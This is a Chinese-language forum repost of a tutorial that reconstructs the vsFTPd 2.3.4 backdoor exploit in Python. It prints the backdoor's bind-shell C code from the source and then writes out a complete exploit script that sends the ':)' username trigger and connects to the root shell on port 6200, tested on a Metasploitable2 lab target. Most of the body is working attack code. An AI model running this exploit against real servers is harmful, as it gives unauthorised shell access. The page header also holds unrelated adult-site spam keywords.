99热99这里只有精品6国产,亚洲中文字幕在线天天更新,在线观看亚洲精品国产福利片 ,久久久久综合网

歡迎加入QQ討論群258996829
麥子學(xué)院 頭像
蘋果6袋
6
麥子學(xué)院

在Python中重構(gòu)vsFTPd后門漏洞

發(fā)布時(shí)間:2017-01-18 19:56  回復(fù):0  查看:2321   最后回復(fù):2017-01-18 19:56  

大家好,首先來個(gè)聲明本文目的不在于分析vsFTPd后門漏洞,我最近喜歡用漏洞編寫exploit的形式來練習(xí)編程語言,在本文中,我們將重新用Python語言來一步步的編寫這個(gè)漏洞的利用程序,主要是觸發(fā)后門然后連接shell。首先我們來了解一下這個(gè)漏洞是如何觸發(fā)的。

  0×02 剖析vsFTPd后門漏洞

  這個(gè)漏洞比較老了,但是要當(dāng)成一個(gè)例子來練習(xí)技術(shù),非常的經(jīng)典,洞如其名,不知道這個(gè)是不是程序員故意留下的,還是被黑客植入的。首先我們下載源碼下來看看。

  在str.c源碼中,我們發(fā)現(xiàn)多了一行很可疑的代碼:

  else if((p_str->p_buf[i]==0x3a) && (p_str->p_buf[i+1]==0x29))

  {

  vsf_sysutil_extra();

  }

  0x3a0×2916進(jìn)制編碼,我們轉(zhuǎn)換成10進(jìn)制再轉(zhuǎn)換成字符就是 :  ) 。從上面的代碼中很容易看出,只要我們輸入的用戶名字符串中有一位字符是 : ,下一位字符是 ) 就可以執(zhí)行函數(shù)vsf_sysutil_extra() 。

  在sysdeputil.c的源碼中,我們找到了 vsf_sysutil_extra() 函數(shù):

  int vsf_sysutil_extra(void)

  {

  int fd, rfd;

  struct sockaddr_in sa;

  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)

  exit(1);

  memset(&sa, 0, sizeof(sa));

  sa.sin_family = AF_INET;

  sa.sin_port = htons(6200);

  sa.sin_addr.s_addr = INADDR_ANY;

  if((bind(fd,(struct sockaddr *)&sa,

  sizeof(struct sockaddr))) < 0) exit(1);

  if((listen(fd, 100)) == -1) exit(1);

  for(;;)

  {

  rfd = accept(fd, 0, 0);

  close(0); close(1); close(2);

  dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);

  execl("/bin/sh","sh",(char *)0);

  }

  }

  可以發(fā)現(xiàn)這就是一段shell,綁定的端口是6200.

  0×03 重構(gòu)vsFTPd后門漏洞exploit

  在前面我們已經(jīng)了解到了如何來觸發(fā)vsFTPd后門漏洞,現(xiàn)在就正式開始編寫漏洞exploit了。首先我們先引入我們需要的模塊:

  import sysimport socketimport threadingimport time

  sys模塊我們是用來接收命令行參數(shù),socket模塊用來觸發(fā)漏洞,threading模塊用來處理shell,time模塊用來延遲shell交互。

  現(xiàn)在我們已經(jīng)引入模塊了,接下來我們就來處理一下命令行參數(shù)。

  if len(sys.argv) == 3:

  passelse:

  print "Use: ./vsftpexploit.py [target IP] [target Port]"

  sys.exit(1)

  target = sys.argv[1]

  port = sys.argv[2]

  print "[+]target IP:"+target

  print "[+]target Port:"+port

  從命令行接收兩個(gè)參數(shù),目標(biāo)IP和目標(biāo)端口。首先判斷一下使用者是否正確的輸入了參數(shù),成功就打印目標(biāo)IP和端口號。

在Python中重構(gòu)vsFTPd后門漏洞

現(xiàn)在我們已經(jīng)接收了需要的參數(shù)了,接下來就要來需要去觸發(fā)漏洞了,這里我們將觸發(fā)函數(shù)命名為exploit

  def exploit():

  exploit_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

  try:

  exploit_socket.connect((target,int(port)))

  except Exception:

  print "Can not attack target"

  sys.exit(1)

  print "[+]Attack target..."

  banner = exploit_socket.recv(1024)

  print banner

  這里我們主要先來獲取一下banner,來確定服務(wù)器的FTP服務(wù)是不是vsFTPd 2.3.4。

在Python中重構(gòu)vsFTPd后門漏洞


確定服務(wù)器的FTP服務(wù)是vsFTPd 2.3.4后,我們來觸發(fā)漏洞:

  if "vsFTPd 2.3.4" in banner:

  exploit_socket.send("USER hello:)\n")

  exploit_socket.recv(1024)

  exploit_socket.send("PASS HELLO\n")

  exploit_socket.close()

  print "[+]Attack was successful"

  returnelse:

  print "[!]FTP service is not vsFTPd 2.3.4"

  sys.exit(1)

  觸發(fā)完漏洞,我們還需要連接到它才能操作。首先我們先創(chuàng)建一個(gè)函數(shù)處理線程運(yùn)行。

  def cont_shell(sock,status):

  sock.settimeout(3)while status == True:

  try:

  print sock.recv(1024).strip()

  except socket.timeout:

  pass

  except Exception:

  return

  最后我們將編寫一個(gè)綜合的函數(shù),來調(diào)用exploit函數(shù),在觸發(fā)漏洞后操作shell。

  def hack():

  exploit()

  shell_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

  shell_status = True

  try:

  shell_socket.connect((target,6200))

  except Exception:

  print "[!]Can not connect Shell"

  sys.exit(1)

  shell_recv_thread = threading.Thread(target=cont_shell, args=(shell_socket, shell_status))

  shell_recv_thread.start()

  print "[+]The connection shell is complete"

  while 1:

  command = raw_input()

  if command == 'exit':

  shell_status = False

  shell_socket.close()

  shell_recv_thread.join()

  sys.exit(0)

  shell_socket.send(command + '\n')

  很簡單,首先我們調(diào)用了exploit()函數(shù)來觸發(fā)漏洞,然后我們創(chuàng)建了一個(gè)名為 shell_socket 的套接字來連接shellshell_status 表示狀態(tài),主要是防止沖突。然后就是利用線程來處理與shell的交互了,最后用了一個(gè)循環(huán)來發(fā)送命令并當(dāng)命令為exit時(shí)退出。

  0×04 腳本演示

  我們的exploit的編寫到此就已經(jīng)完成了,現(xiàn)在我們實(shí)際操作一下,測試一下我們的exploit是否可用。我們首先使用nmap探測一下服務(wù)器的FTP服務(wù)的版本。

  nmap -sV -p21 192.168.242.129

  結(jié)果:

在Python中重構(gòu)vsFTPd后門漏洞


可以發(fā)現(xiàn)在目標(biāo)服務(wù)器上的FTP服務(wù)是vsFTPd 2.3.4,我們來使用我們的exploit腳本:

  成功利用

  0×05 總結(jié)

在編寫exploit的過程中,我犯了一個(gè)小錯誤,使用了TAB制表符,就不能再使用四個(gè)空格來代表制表符對齊,新的Python語法,是不支持在代碼對齊中,混用TAB和空格的。文中的靶機(jī)我是直接使用了metasploitable2。大家有興趣的可以自己嘗試重新編寫一下。

 

來源:FreeBuf




您還未登錄,請先登錄

熱門帖子

最新帖子

?